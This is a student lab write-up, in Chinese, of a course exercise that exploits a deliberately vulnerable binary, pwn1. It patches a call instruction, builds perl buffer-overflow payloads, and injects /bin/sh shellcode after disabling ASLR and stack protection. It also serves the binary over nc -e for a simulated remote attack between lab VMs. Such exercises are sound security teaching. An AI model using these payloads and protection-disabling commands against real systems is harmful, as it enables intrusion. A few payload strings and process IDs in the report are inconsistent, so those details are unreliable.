《網路對抗》-逆向及Bof基礎實踐
實驗目標
-
本次實踐的物件是一個名為pwn1的linux可執行檔案。
-
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
-
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
-
三個實踐內容如下:
- 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
- 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
- 注入一個自己製作的shellcode並執行這段shellcode。
-
這幾種思路,基本代表現實情況中的攻擊目標:
- 執行原本不可訪問的程式碼片段
- 強行修改程式執行流
- 以及注入執行任意程式碼。
基礎知識
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
CSDN部落格:初識linux之管道
部落格園:Linux常用命令大全
- 能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理。
- 能看得懂彙編、機器指令、EIP、指令地址。
概念 | 描述 |
---|---|
組合語言 | 一種低階程式語言,與計算機硬體架構緊密相關。它使用助記符(mnemonic codes)來表示機器指令的操作碼和運算元,使得程式設計師可以直接控制硬體資源,如暫存器和記憶體。儘管不如高階語言易讀易寫,但其執行效率高且能夠精確控制硬體行為。 |
機器指令 | 計算機硬體能直接識別並執行的二進位制程式碼序列,每一條機器指令對應一個特定的基本操作,例如載入、儲存、計算或跳轉等。它是計算機系統執行的最基本單位。 |
EIP(Extended Instruction Pointer) | 在x86架構的CPU中,EIP是一個特殊的暫存器,用於儲存下一條將要被執行的指令的記憶體地址。在程式執行過程中,EIP不斷更新以指向當前執行流中的下一個指令地址,從而驅動程式流程的進行。 |
指令地址 | 這是指令在記憶體中的位置,通常用十六進位制表示。在執行程式時,CPU會透過EIP暫存器或者其他方式找到指令地址,從該地址讀取對應的機器指令並執行。每條機器指令都有其獨一無二的指令地址,構成了程式執行的邏輯順序。 |
- 會使用gdb,vi。
工具 | 描述 |
---|---|
gdb | GDB(GNU Debugger)是一款強大的原始碼級偵錯程式,適用於多種程式語言,特別是在Linux環境下除錯C/C++程式尤為常用。GDB允許開發者在程式執行時檢查變數值、設定斷點、單步執行程式碼、檢視呼叫堆疊以及動態改變程式的行為。透過GDB,程式設計師可以在程式崩潰或者出現預期外行為時,深入理解程式內部的工作機制。 |
vi/vim | vi 或者 vim 是一款基於文字介面的編輯器,廣泛應用於Unix/Linux系統。vi 全稱為 "Visual Interface",而 vim 是其增強版本,即 "Vi Improved"。vim 提供了命令列模式、插入模式和可視模式等多種工作模式,使用者可以在不依賴滑鼠的情況下高效地進行文字編輯。主要特點包括: 命令模式:用於移動游標、刪除文字、複製/貼上等操作,透過鍵盤快捷鍵完成。 插入模式:在此模式下可以像其他文字編輯器一樣插入或修改文字內容。 可視模式:選擇文字塊以便進行進一步操作。vim 還支援語法高亮、宏錄製、多檔案編輯、指令碼編寫等功能,對於程式設計師來說尤其適用,因為它可以在終端環境中便捷地編輯和檢視原始碼檔案,並且配合GDB可以透過外掛進行原始碼級別的除錯。 |
- 指令、引數
指令/linux命令列 | 機器碼 | 含義 |
---|---|---|
NOP | 0x90 | NOP指令即“空指令”,執行到NOP指令時,CPU什麼也不做,完畢之後繼續執行NOP後面的一條指令。 |
JNE | 0x75 | JNE是條件轉移指令,如果不相等則跳轉。 |
JE | 0x74 | JE是條件轉移指令,如果相等則跳轉。 |
0xE8 | 短跳轉。只能跳轉到256位元組的範圍內 | |
JMP | 0xE9 | 近跳轉。可跳至同一個段範圍內的地址 |
0xEA | 遠跳轉。可跳至任意地址,使用48位/32位全指標 | |
CMP | 0x38、0x39、0x3A、0x3B、0x3C、0x3D | 比較指令,功能相當於減法指令,對運算元之間運算比較,不儲存結果。CMP指令也有多種形式,分別代表不同的功能 |
objdump | objdump 是Linux及類Unix系統下的一個實用工具,主要用於檢視目標檔案、可執行檔案、共享庫等二進位制檔案的詳細資訊。它可以提供以下功能:反彙編程式碼:將機器碼轉換成組合語言格式,便於分析。顯示檔案頭資訊:包括檔案型別、目標架構、節區佈局等。展示符號表:列出函式和變數的名稱、地址等符號資訊。顯示重定位資訊:瞭解連結過程中的地址調整細節。 | |
more | more 是Linux shell中的一個檔案檢視器,用於逐屏顯示文字檔案的內容。其基本功能包括:分頁顯示:每次只顯示螢幕大小的一部分內容。控制滾動:使用者可透過空格鍵翻頁,Enter鍵向下一行,b鍵向上翻頁,q鍵退出檢視。搜尋文字:使用 / 鍵後跟關鍵詞進行正向搜尋,使用 ? 鍵後跟關鍵詞進行反向搜尋。 | |
perl | perl 是一種強大的指令碼程式語言,在Unix/Linux環境下常用於處理文字、系統管理任務以及其他各種自動化工作。 Perl是一門解釋型語言,不需要預編譯,可以在命令列上直接使用。 使用輸出重定向“>”將perl生成的字串儲存到檔案input中。 |
實踐過程
-
準備工作:
-
建立共享資料夾。將pwn1壓縮包傳至kali虛擬機器
kali虛擬機器中共享資料夾位置在/mnt/hgfs/中
這裡我的虛擬機器剛開始並沒有hgfs資料夾,一般是因為沒有更新vmware tools,在參考以下部落格後解決:
1、Windows與VMware虛擬機器上面的kali實現檔案共享,以及安裝vmwaretoll之後/mnt資料夾下面沒有顯示hgfs的解決辦法
2、kali虛擬機器新增共享資料夾這裡還可能出現一個問題,就是在kali關機後再次開機,共享資料夾裡面就空了,這是因為沒有設定kali開機啟動自動掛載共享資料夾。參考如下部落格得以解決
Kali設定/掛載共享資料夾
-
下載中文輸入法。對於某些包含中文的路徑,kali不帶中文輸入法,無法輸入
這裡一般只需如下一條指令即可安裝谷歌中文輸入法
apt-get install fcitx-googlepinyin
Kali 安裝中文輸入法(超詳細)
但此時可能會出現如下的新問題:無法定位軟體包
就需要參考如下部落格,主要就是更新下載源,然後輸入指令sudo apt-get upgrade
更新即可解決。
Kali Linux無法定位軟體包
注意上述操作都要在root許可權下進行
-
-
步驟一:直接修改程式機器指令,改變程式執行流程
- 首先輸入
cd /【pwn檔案所在地址】
進入當前資料夾,否則會顯示無此檔案。然後輸入objdump -d pwn20211317 | more
進行反彙編
- 往下翻頁可找到getshell、foo和main函式
- 主函式會透過call呼叫foo函式,該指令對應的機器指令為“e8 d7ffffff”,e8即跳轉之意
- 正常流程下,eip中原本儲存的是下一條指令的地址,即80484ba,但一解釋e8這條指令,CPU就會轉而執行 ”eip + e8後面的四位元組地址“ 這個位置的指令。因此,eip = 80484ba+fffffd7=8048491,也就是foo函式的地址。
- 那我們想讓它呼叫getShell,只要修改“d7ffffff”為 "getShell-80484ba"對應的補碼 0804847d-80484ba=ffffffc3
- 於是我們修改可執行檔案,將其中的call指令的目標地址由d7ffffff變為c3ffffff:
- 首先輸入
- 這裡需要我們用十六進位制開啟檔案並編輯,在這步驟中我按照實驗指導書中步驟,到在vim中輸入:%!xxd這步時卻沒有任何反應或者報錯,試了好幾遍也無果,換成nano編輯器也不行,最後發現原來是我的kali虛擬機器不是自帶xxd的,需要透過
sudo apt install xxd
安裝後才可以,又折騰了半小時。
- 找到d7ffffff 改為c3ffffff
改好後輸入:%!xxd -r
轉為原格式,如果在反彙編時報錯如下
則是因為要先輸入:%!xd -r
轉為原格式再退出,否則會損壞檔案,導致指令出現隨機字元(猜測)。
- 找到d7ffffff 改為c3ffffff
- 改好後反彙編顯示如下
執行改後的程式碼./pwn20211317_1
,會得到shell提示符如下
步驟二:透過構造輸入引數,造成BOF攻擊,改變程式執行流
- 對pwn1反彙編。該可執行檔案正常執行是呼叫函式foo。foo函式有Buffer overflow漏洞:foo讀入字串,但系統只預留了(28)位元組的緩衝區,超出部分會造成溢位,我們的目標是覆蓋返回地址
- 如果輸入字串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆疊上的返回地址,進而CPU會嘗試執行這個位置的程式碼。那隻要把這四個字元替換為 getShell 的記憶體地址,輸給pwn1,pwn1就會執行getShell。
- getShell的記憶體地址,透過反彙編時可以看到,即0804847d。
接下來要確認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
參考部落格:[linux核心:理解大小端位元組序](https://blog.csdn.net/m0_74282605/article/details/134900128)
正確應當輸入 11111111222222223333333344444444\x7d\x84\x04\x08 - 我們沒法透過鍵盤輸入\x7d\x84\x04\x08這樣的16進位制值,所以先生成包括這樣字串的一個檔案。\x0a表示回車。使用輸出重定向“>”將perl生成的字串儲存到檔案input中。
- 在終端輸入如下指令
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn20211317_2
ls
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20211317_3
ls
如圖所示:可以看到攻擊成功,獲取了一個互動式shell。
步驟三:注入Shellcode並執行
- 準備工作:首先我們要對作業系統和程式進行一些設定便於找到我們注入的資料的地址
execstack -s pwn1 //設定堆疊可執行
execstack -q pwn1 //查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space
而這一步需要我們安裝execstack,使用如下命令
sudo apt-get install execstack
但可能會報錯:
這時,我們參考如下部落格內容,針對sources.list檔案進行新增,加入一些下載源,即可解決
Kali Linux E:Unable to locate package 完美解決!
-
構造要注入的payload
-
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-
因為retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
-
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
-
我們這個buf夠放這個shellcode了
-
結構為:nops+shellcode+retaddr。
- nop一為是了填充,二是作為“著陸區/滑行區”。
- 我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
準備工作如下:
-
-
找一段shellcode,這裡我用的是
x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00
開啟一個終端,依次輸入如下指令
perl -e 'print "A" x 32;print "\xd0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20211317
(cat input20211317;cat) | ./pwn20211317
此時不按回車,不要出現指導書裡的亂碼
再開啟一個終端則透過gdb來除錯pwn20211317這個程序。
gdb端除錯程式碼: ps -ef | grep pwn20211317
得到程序號140102
然後在gdb中除錯
輸入gdb
(gdb)attach 89424(注意是自己的程序號)
(gdb)disassemble foo
(gdb)break *0x080484ae(這一步大家都一樣)
(gdb)c
可以看出此時esp值為0xffffd3dc,看到01020304,返回地址佔位正確,shellcode就在後面,所以地址是0xffffd3e0
當gdb除錯端出現continue時,即可在終端1按一下回車,出現亂碼
然後使用xxd input shellcode檢視shell儲存值
最後使用(cat input20211317; cat) | ./pwn20211317
在另一個終端中作為終端2,繼續之前的gdb除錯
執行後發現成功獲取shell,攻擊成功
步驟4 結合nc模擬遠端攻擊
- 開啟兩臺虛擬機器
- 檢視兩臺虛擬機器的ip地址
kali :192.168.149.129
Ubuntu: 192.168.149.128
- 在kali中模擬一個有漏洞的網路服務
輸入如下命令列
nc -lvnp 1313 -e ./pwn20211317
- 在Ubuntu中連線主機1併傳送攻擊載荷
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input;cat) | nc 192.168.149.129 1313
攻擊成功!!!
實驗總結
本次實驗是第一次用kali虛擬機器做,同時也第一次接觸反彙編,前前後後耗時較長,不過也確實有所收穫,雖然中間遇到了很多問題,在部落格中也都提及,前後參考了幾十篇CSDN和部落格園查詢問題的解決方法,可以說是十分艱辛,但最後成功後也確實收穫滿滿,做了許多前期工作,下次實驗應該就相對不會這麼費勁了。